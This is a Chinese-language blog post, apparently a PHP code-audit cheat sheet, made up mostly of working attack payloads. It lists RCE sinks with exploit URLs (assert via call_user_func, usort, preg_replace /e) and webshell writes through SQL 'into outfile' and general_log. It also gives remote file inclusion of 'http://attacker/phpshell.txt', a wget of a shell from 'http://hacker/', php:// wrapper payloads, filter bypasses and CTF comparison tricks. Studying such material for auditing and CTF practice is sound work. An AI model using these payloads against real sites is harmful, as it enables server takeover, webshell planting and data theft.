欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

PHP代码审计

程序员文章站 2022-05-19 18:17:40
...

PHP代码审计

PHP代码审计

RCE

反引号中包括变量

<?php
$varch = $_GET['hi'];
$output = `$varch`;
echo "<pre>$output</pre>";
?>

array_map()中包含变量

作用是为数组的每个元素应用回调函数 。其返回值为数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

<?php
$array = array(0,1,2,3,4,5);
array_map($_GET['hi'],$array);
?>
http://localhost:8899/demo/quotos.php?hi=phpinfo

create_function

<?php
$a = $_GET['hi'];
$b = create_function('$a',"echo $a");
$b('');
?>
http://localhost:8899/demo/quotos.php?hi=phpinfo();

常见回调函数

call_user_func()、call_user_func_array()、create_function()、
array_walk()、 array_map()、array_filter()、	
usort()、ob_start()、可变函数$_GET['a']($_GET['b'])

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 传入call_user_func()的参数不能为引用传递。

call_user_func

<?php
	call_user_func($_GET['chybeta'],$_GET['ph0en1x']);
?>

访问:

http://localhost:2500/codeexec.php?chybeta=assert&ph0en1x=phpinfo()

call_user_func_array

把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

<?php
	call_user_func_array($_GET['chybeta'],$_GET['ph0en1x']);
?>
http://localhost:2500/codeexec.php?chybeta=assert&ph0en1x[]=phpinfo()

array_filter

array_filter(['whoami'],'system');

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aBch01HK-1606060840954)(PHP代码审计.assets/image-20201012143132321.png)]

assert

	assert(system('calc.exe')

passthru

<?php
	passthru("whoami");
?>

pcntl_exec

<?php
	pcntl_exec ( "/bin/bash" , array("whoami"));
?>

ob_start

<?php
	$cmd = 'system';
	ob_start($cmd);
	echo "$_GET[a]";
	ob_end_flush();
?>

usort

<?php
   //php5.6版本以下 
   usort($_GET,'system');    //xxx.php?1=1&2=whoami
   //usort($_GET,'assert');   //xxx.php?1=1&2=phpinfo()
   //usort($_GET,'syst'.'em');     
   //usort($_GET,'asse'.'rt');    
   //php5.6以上
   //usort(...$_GET);   xxx.php?1[]=test&1[]=phpinfo();&2=assert
 ?>

array_walk

<?php 
	array_walk($_GET['a'],$_GET['b']);
	//xxx.php?a[]=phpinfo()&b=assert
	//xxx.php?a[]=whoami&b=system
?>

proc_open

<?php  
	$test = "whoami";  
	$array =   array(  
	array("pipe","r"),   //标准输入  
	array("pipe","w"),   //标准输出内容  
	array("pipe","w")    //标准输出错误  
 );  
  
	$fp = proc_open($test,$array,$pipes);   //打开一个进程通道  
	echo stream_get_contents($pipes[1]);    //为什么是$pipes[1],因为1是输出内容  
	proc_close($fp);  
?>

popen

<?php  
	$test = "whoami";  
	$fp = popen($test,"r");  //popen打一个进程通道  
  
	while (!feof($fp)) {      //从通道取出内容 
		$out = fgets($fp, 4096);  
		echo  $out;          
	}  
	pclose($fp);  
?>

preg_replace

<?php 
@preg_replace("/abc/e",$_REQUEST['a'],"abcd");
//xxx.php?a=phpinfo()
?>

${}符号

<?php 
	${phpinfo()};
?>

shell_exec

"echo shell_exec('whoami');"

文件写入/读取:

select into outfile

select '<?php eval($_POST[123]) ?>' into outfile '/var/www/html/1.php';

load_file()

http://test.com/sqli/Less-1/?id=-1' union select 1,load_file('c:\\flag.txt'),3 --+

fputs

<?fputs(fopen("shell.php","w"),"<?php eval($_post['xxx'];?>")?>

SQL注入

secure_file_priv

show global variables like '%secure%';

set global general_log=on;set global general_log_file='C:/phpStudy/WWW/123.php';select '<?php eval($_POST[123]) ?>';

变量覆盖漏洞

变量覆盖漏洞相关函数

extract()
parse_str()
import_request_variables()
$$(可变变量)
register_globals=On (PHP5.4之后正式移除此功能)

$$的问题

如提交的URL为 var.php?a=bye

<?php
	$a = "hi";
	foreach($_GET $key => $value){
			$$key=$value;	
	}
	print $a;
?>

extract()变量覆盖

extract() 函数从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。该函数返回成功设置的变量数目

$flag='xxx'; 
extract($_GET);
 if(isset($shiyan))
 { 
    $content=trim(file_get_contents($flag));
    if($shiyan==$content)
    { 
        echo'ctf{xxx}'; 
    }
   else
   { 
    echo'Oh.no';
   } 
   }

​ 变量覆盖漏洞PHP extract() 函数从数组中把变量导入到当前的符号表中。对于数组中的每个元素,键名用于变量名,键值用于变量值。 file_get_contents:远程获取获取文件,若没有则为空 构造shiyan=&flag=1

parse_str()函数使用不当导致的覆盖

parse_str()函数的作用是解析字符串并且注册成变量,它在注册变量之前不会验证当前变量是否已经存在,所以会直接覆盖掉已有的变量。parse_str()函数的结构如下:

parse_str(string,array)

<?php
	$a = "hi";
	//var.php?var=1&a[1]=var1%3d222
	$var1 = "init";
	parse_str = ($a[$_GET['var']]);
	print $var1;
?>

文件包含:

require()

include

include_once

require_once

构造url
`/?param=http://attacker/phpshell.txt?`
可将远程的shell解析执行,最后一个问号可以起到截断的作用。

move_uploaded_file

php伪协议

php://input

allow_url_include = on
payload:

1 index.php?file=php://input
2 POST:
3 <? phpinfo(); ?>

php://filter

可以读取本地文件
index.php?file=php://filter/read=convert.base64-encode/resource=index.php
指定末尾文件,可以读到base64编码后的文件内容,ctf中常有题目可读文件源码。

php://phar

PHP归档,解压缩协议
上传包含任何格式文件shell的压缩包,再用phar协议解析

  • 指定相对路径
index.php?file=phar://shell.zip/phpinfo.txt
  • 指定绝对路径
index.php?file=phar://D:/index/www/fileinclude/shell.zip/phpinfo.txt

data:

条件:

  1. allow_url_fopen = On
  2. allow_url_include = On
index.php?file=data:text/plain,%00`
`index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

CTF

240610708神奇数字

<?php
    $md51 = md5('QNKCDZO');
    $a = @$_GET['a'];
    $md52 = @md5($a);
    if(isset($a)){
    if ($a != 'QNKCDZO' &amp;&amp; $md51 == $md52) {
        echo "nctf{*****************}";
    } else {
        echo "false!!!";
    }}
    else{echo "please input a";}
?>
var_dump(md5('240610708') == md5('QNKCDZO'));

结果是true

=== 类型比较

<?php

if (isset($_GET['name']) and isset($_GET['password']))
{
    if ($_GET['name'] == $_GET['password'])
        echo ' Your password can not be your name! ';
    else if (sha1($_GET['name']) === sha1($_GET['password']))
        die('Flag: 1111111111111');
    else
        echo ' Invalid password.';
}
else
    echo 'Login first! ';


?>

​ === 是类型比较,name和password可传入数组,让sha1报错,通过类型比较进入到指定路径

var.php?name[]=1&password[]=b

strcmp

<?php
$flag = "11111111111";
if (isset($_GET['a'])) {
    if (strcmp($_GET['a'], $flag) == 0)
        //比较两个字符串(区分大小写)
        die('Flag: '.$flag);
    else
        print '离成功更近一步了';
}

?>

var.php?a[]=1

php语言特性:

​ 是5.3的之前和之后版本在使用strcmp比较数组和字符串时候的差异, 5.3之后使用该函数比较数组和字符串会返回0

strpos()

strpos() 函数查找字符串在另一字符串中第一次出现的位置。
strpos() 函数对大小写敏感。
该函数是二进制安全的。
strpos(string, find, start) stringfind 必需,start 可选,规定在何处开始搜索。

判断的时候是不能用 != false来判断的,因为当查找的字符串位置为0 时也会判断成功

<?php 
$a = "stark";
$b = "s";
$c = "k";

var_dump(strpos($a, $b));	//0
var_dump(strpos($a, $c));	//4
var_dump(strpos($a, $b) != false);	//false
var_dump(strpos($a, $b) !== false);	//true
?>

is_numeric

由于is_numeric没有检测\0(%00),所以导致is_numeric($_REQUEST['number'])False,成功跳过检测。

绕过tips

空格

<
${IFS}
$IFS$9
%09

敏感字符绕过

假设过滤了cat

1、利用变量绕过

aaa@qq.com:~/shell$ a=c;b=a;c=t;
aaa@qq.com:~/shell$ $a$b$c 1.txt
abc

2、利用base64编码绕过

aaa@qq.com:~/shell$ echo 'cat' | base64
Y2F0Cg==
aaa@qq.com:~/shell$ `echo 'Y2F0Cg==' | base64 -d` 1.txt
abc

%00截断

magic_quotes_gpc = off
PHP < 5.3.4

%00截断目录遍历
/var/www/%00
magic_quotes_gpc = off

字节长度截断:

最大值Windows下256字节,Linux下4096字节

编码绕过

`%2e%2e%2f ../`
`..%c0%af ../`
`%2e%2e%5c ..\`

php应用常见目录文件

包含日志文件

先通过读取httpd的配置文件httpd.conf,找日志文件所在目录
常见日志文件位置:

1./etc/httpd/conf/httpd.conf
2./usr/local/apache/conf/http.conf
3./apache/logs/error.log

包含Session

要求攻击者能控制部分Session的内容
常见的php-session存放位置:

1. /var/lib/php/sess_PHPSESSID
2. /var/lib/php/sess_PHPSESSID
3. /tmp/sess_PHPSESSID`

包含/proc/self/environ 文件

index.php?page=../../../../../proc/self/environ
可以看到Web进程运行时的环境变量,其中用户可以控制部分,比如对User-Agent注入

<?php
    system('wget http://hacker/Shells/phpshell.txt -O shell.php');
?>

PHP特性:

当代码中存在*$_REQUEST[‘user_id’]里面类似的参数的时候,我们在url上可以这样a.php?user.id传参去进行绕过,这样进去之后也能表示$_REQUEST[‘user_id’]*的值,同样可以绕过的符号还有+,[ 等,应该说是php的一个小特性

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ohjXIL10-1606060840955)(PHP代码审计.assets/image-20201119091719276.png)]